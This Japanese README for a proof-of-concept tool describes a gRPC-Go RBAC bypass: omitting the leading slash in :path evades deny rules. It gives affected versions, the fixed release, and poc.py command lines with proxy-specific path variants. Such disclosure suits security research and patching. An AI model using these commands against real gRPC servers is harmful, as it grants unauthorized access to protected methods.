
gRPC-Go RBAC 認可ポリシーバイパス - `:path` スラッシュ欠落による(認可バイパス)
gRPC-Go RBAC 認可ポリシーのバイパス: :path スラッシュ欠如 (認可バイパス)
google.golang.org/grpc の authz パッケージは、:path 疑似ヘッダーに対して拒否ルールと許可ルールをマッチングさせる SDK レベルの RBAC 認可を実装しています。HTTP/2 サーバートランスポートは、クライアントから受け取った生の :path 値を、先頭が / で始まることを検証せずに格納します。ルーティング層 (handleStream) はディスパッチ前にパスを正規化しますが、RBAC エンジンは grpc.Method(ctx) を介してコンテキストから正規化前の値を読み取ります。
拒否ルールは /Service/Method(先頭スラッシュ付き)のように記述されます。:path = "Service/Method"(スラッシュなし)を送信すると、拒否ルールは最初の文字の比較で一致しなくなります。デフォルトの許可ルールが発動し、保護されたメソッドが実行されます。
authz.NewStatic() または authz.NewFileWatcher() を拒否ルールと共に使用する gRPC サーバーはすべて脆弱です。生の HTTP/2 クライアント(Python h2、curl --http2、または任意のカスタムフレームライター)があれば十分に悪用可能であり、認証情報や事前の状態は必要ありません。
grpc-go v1.71.0 に対する実際の検証では、拒否リストに登録された AdminMethod に対して先頭スラッシュを省略した場合に gRPC ステータス 0 (OK) が返され、正規のスラッシュを含む同一の呼び出しではステータス 7 (PermissionDenied) が返されました。
影響を受けるバージョン: google.golang.org/grpc < v1.79.3。v1.79.3 (PR #8981) で修正済み。
# Install the Python HTTP/2 dependency:
pip install h2
# Against an existing vulnerable gRPC server:
python3 poc.py --host <HOST> --port <PORT>
python3 poc.py --host <HOST> --port <PORT> --service MyService --method SecretMethod
# When TCP destination and HTTP/2 authority differ:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--service MyService --method SecretMethod
# Canonical upstream malformed path:
python3 poc.py --host <HOST> --port <PORT> --path-mode no-slash
# Reverse-proxy deployments that preserve a double slash before grpc_pass:
python3 poc.py --host <VHOST> --connect-host <IP> --port 80 \
--path-mode double-slash --service MyService --method SecretMethod
# Literal :path value when you already know the backend path shape:
python3 poc.py --host <VHOST> --connect-host <IP> --path-mode custom \
--attack-path '//MyService/SecretMethod'
# Save a decoded successful attack response for follow-on manual use:
python3 poc.py --host <HOST> --port <PORT> --output-response /tmp/grpc-response.txt
--host は、--authority が設定されていない限り HTTP/2 の :authority ホストを制御します。--connect-host は TCP 接続先を制御します。これは、到達可能な IP がルーティング先のバックエンドオーソリティと異なる仮想ホストやリバースプロキシ構成で便利です。
標準の grpc-go の問題は --path-mode no-slash です。double-slash と custom は、プロキシが異なる不正なパス形状を脆弱なバックエンドに転送する環境向けの汎用ヘルパーです。
h2 (pip install h2)authz パッケージを拒否ルールと共に使用する gRPC-Go サーバー| File | Description |
|---|---|
poc.py | Python PoC -- 3つの生のHTTP/2呼び出し(ベースライン/攻撃/制御)を送信してバイパスを証明します |
README.md | 脆弱性の詳細、使用例、参考文献 |
LICENSE | GPLv3 ライセンス |
このプロジェクトは GNU GPLv3 の下で公開されています。
これは防御的なセキュリティ研究、教育、および許可されたテストのために提供されています。所有者の明示的な許可なしに、このコードをシステムやサービスに対して使用しないでください。
無許可での使用は適用される法律に違反する可能性があります。著者は第三者のシステムをテストする許可を与えておらず、誤用について責任を負いません。
保証および賠償責任の条件については LICENSE ファイルを参照してください。